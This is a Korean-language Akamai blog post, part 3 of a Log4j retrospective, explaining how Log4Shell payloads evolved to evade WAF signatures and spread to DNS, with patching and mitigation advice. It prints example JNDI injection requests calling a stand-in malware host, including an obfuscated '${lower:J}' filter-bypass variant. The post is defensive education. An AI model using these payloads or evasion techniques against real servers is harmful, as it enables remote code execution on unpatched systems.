Skip to main content
Dark background with blue code overlay
블로그

Log4j 레트로스펙티브(Retrospective) Part 3: 발전 - 페이로드 및 공격 다각화

Charlie Gero

Written by

Charlie Gero

January 12, 2022

찰리 게로(Charlie Gero)는 Akamai의 엔터프라이즈 부문 부사장 겸 CTO이며, 고급 프로젝트 그룹(Advanced Projects Group)을 이끌고 있습니다. 그는 현재 보안, 응용 수학, 암호화, 분산 알고리즘 분야의 최첨단 연구에 집중하여 성장하는 Akamai의 고객 기반을 보호하는 차세대 기술을 구축하는 데 주력하고 있습니다. Akamai의 연구를 통해 그는 암호화, 압축, 고성능 네트워크 시스템, 실시간 미디어 배포 등 거의 30개의 특허를 획득했으며 물리학과 컴퓨터 과학 분야에서 학위를 취득했습니다. Akamai에서 15년 가까이 근무한 그는 스타트업을 설립하고 제약 및 네트워킹 업계의 컴퓨터 과학 부문 주요 직책을 역임했습니다.

이 시리즈의 Part 2에서 데이터 탈취, 원격 코드 실행 악용, 위협 노출 등을 소개했습니다. 이 게시물에서는 조사를 계속하면서 발견한 공격의 진화에 대해 이야기하고자 합니다. (예: 2021년 12월 Akamai의 히데키 오카모토(Hidecki Okamoto)는 새로운 취약점을 발견했습니다.) Akamai는 지속적으로 상황을 모니터링하고 고객을 보호하기 때문에 두 가지 방향으로 진화하는 위협을 발견했습니다. 첫 번째는 페이로드와 관련되어 있습니다.

기업은 웹 애플리케이션 방화벽, 즉 WAF 같은 완화 조치를 통해 이러한 위협을 막고 있습니다. 이러한 시스템은 웹 요청에 악용 가능한 문자열이 있는지 검색하고 찾은 문자열을 모두 삭제합니다. 아주 간단한 예로 다음과 같이 서로 인접한 7개의 문자를 포함하는 웹 요청을 모두 삭제할 수 있습니다.

${jndi:

이렇게 하면 요청에서 강조 표시된 시그니처를 찾을 수 있으므로 다음과 같은 웹 기반 예제를 차단합니다.

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example

처음에는 이러한 시그니처를 찾는 것이 좋게 보일 수 있지만 Log4j에서 매우 복잡하고 중첩된 구조를 사용할 수 있다는 점을 기억해야 합니다. 공격자는 위 방어 수단을 피하기 위해 다음과 같이 공격할 수 있습니다.

GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example

이 예제에서는 앞서 사용한 7개의 인접한 특수 문자 ${jndi: 가 더 이상 존재하지 않으므로 WAF 시그니처를 성공적으로 우회할 수 있습니다.

Log4j가 로그용 수신 경로 /${${lower:J}ndi:ldap://rce.malware.example/a} 에서 무엇을 할 수 있는지 살펴보겠습니다.

첫째, ${lower:J} 조회식을 j로 확장하여 다음과 같이 중간 문자열을 만듭니다.

/${jndi:ldap://rce.malware.example/a}

그리고 JNDI 조회식 ${jndi:ldap://rce.malware.example/a}에서 Log4j는 LDAP 유사 URL ldap://rce.malware.example/a 를 JNDI로 전달하여 앞서 설명한 바와 같이 악용합니다.

이 결과 페이로드 구성이 차단되면 공격자가 페이로드를 수정하여 시그니처 검사를 피하고 다시 공격하는 고양이와 쥐 게임이 시작됩니다.

Akamai에서는 위 내용과 비슷하거나 훨씬 더 발전된 페이로드 문자열을 조작하는 방법과 창의적인 콘텐츠 인코딩, 전송 인코딩, 문자 집합처럼 덜 명백한 접근 방식을 통해 검사를 우회하려는 시도를 확인했습니다.

두 번째 진화는 공격 대상과 프로토콜을 다각화하는 것입니다. 앞서 파트 2에서 알아본 것처럼웹 기반 애플리케이션이 현재 주요 공격 경로지만, 웹 벡터의 보호와 패치가 강화됨에 따라 DNS와 기타 덜 명백한 프로토콜을 공격하는 시도가 증가하고 있습니다.

솔루션 및 완화

이 취약점에 활용할 수 있는 다양한 공격 벡터의 엄청난 규모를 고려하면 유일한 해결 방법은 취약한 모든 시스템을 패치하는 것입니다. 그러나 앞에서 설명한 것처럼 일부 시스템은 업데이트 방법이 없는 임베디드 시스템이거나 공급업체의 일정이 원하는 만큼 빠르지 않을 수 있는 상용 애플리케이션이기 때문에 패치할 수 없습니다.

많은 기업이 처음에는 포괄적인 가시성을 확보하지 못해 취약한 시스템을 정확히 파악하지 못하기 때문에 완화 조치가 더욱 복잡합니다.

Akamai 블로그와 Guardicore 팀의 블로그에서 완화 조치에 대해 다루었습니다. Akamai는 다음과 같은 조치를 권장합니다.

1. 패치를 적용할 수 있는 시스템의 경우 즉시 패치를 적용하십시오.
가장 큰 뛰어난 보호 수단입니다. Log4j가 최신 버전(본 문서 작성 당시 2.17.0)을 실행하고 있는지 확인합니다.
2. 취약하다고 확인되었지만 Log4j를 업그레이드할 때까지 기다려야 하는 시스템의 경우 가능한 경우 다음 설정으로 위협면을 줄입니다.
Log4j 버전이 2.10 이상인 경우-Dlog4j2.formatMsgNoLookups=true를 시작 시 애플리케이션에 적용하면 조회식을 비활성화합니다.
Java의 경우 시스템에서 다음 설정이 true인지 확인합니다.
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Akamai의 업계 최고 Kona 솔루션과 같은 WAF를 모든 웹 애플리케이션 앞에서 실행하여 공격 시도를 걸러냅니다.
이 작업은 내부 및 외부 서버 모두에 대해 수행해야 합니다.
4. Akamai Enterprise Threat Protector 같은 DNS 방화벽을 실행하여 운영 환경을 통과하는 의심스러운 DNS 페이로드를 파악하고 차단합니다.
5. 도구를 실행하여 기본 아이언이나 클라우드 등 사용자 환경에서 실행되는 작업을 정확하게 파악합니다.
Akamai Guardicore Segmentation에서 제공하는 것과 같은 도구를 사용하여 사용자 환경에서 실행되는 모든 것을 파악할 수 있습니다. 이러한 도구를 사용하여 취약한 애플리케이션을 찾습니다.
6. 영향을 받는 애플리케이션의 통신을 최소화합니다.
Akamai Guardicore Segmentation에서 제공하는 것과 같은 ID 기반 분할을 활용하여 취약한 시스템과 통신할 수 있는 시스템을 제한합니다.

다음 단계

이러한 완화 전략은 패치 전략을 설계하고 실행하는 동안 취약한 시스템에 대한 리스크를 크게 낮출 수 있습니다. 되돌아보기가 거의 완료되었습니다. 지금까지 Log4j 취약성의 배경, 악용, 완화 방법에 대해 살펴보았습니다. 파트 4부에서는 학습한 내용을 복습하겠습니다. 계속 관심을 가져주세요.

 



Charlie Gero

Written by

Charlie Gero

January 12, 2022

찰리 게로(Charlie Gero)는 Akamai의 엔터프라이즈 부문 부사장 겸 CTO이며, 고급 프로젝트 그룹(Advanced Projects Group)을 이끌고 있습니다. 그는 현재 보안, 응용 수학, 암호화, 분산 알고리즘 분야의 최첨단 연구에 집중하여 성장하는 Akamai의 고객 기반을 보호하는 차세대 기술을 구축하는 데 주력하고 있습니다. Akamai의 연구를 통해 그는 암호화, 압축, 고성능 네트워크 시스템, 실시간 미디어 배포 등 거의 30개의 특허를 획득했으며 물리학과 컴퓨터 과학 분야에서 학위를 취득했습니다. Akamai에서 15년 가까이 근무한 그는 스타트업을 설립하고 제약 및 네트워킹 업계의 컴퓨터 과학 부문 주요 직책을 역임했습니다.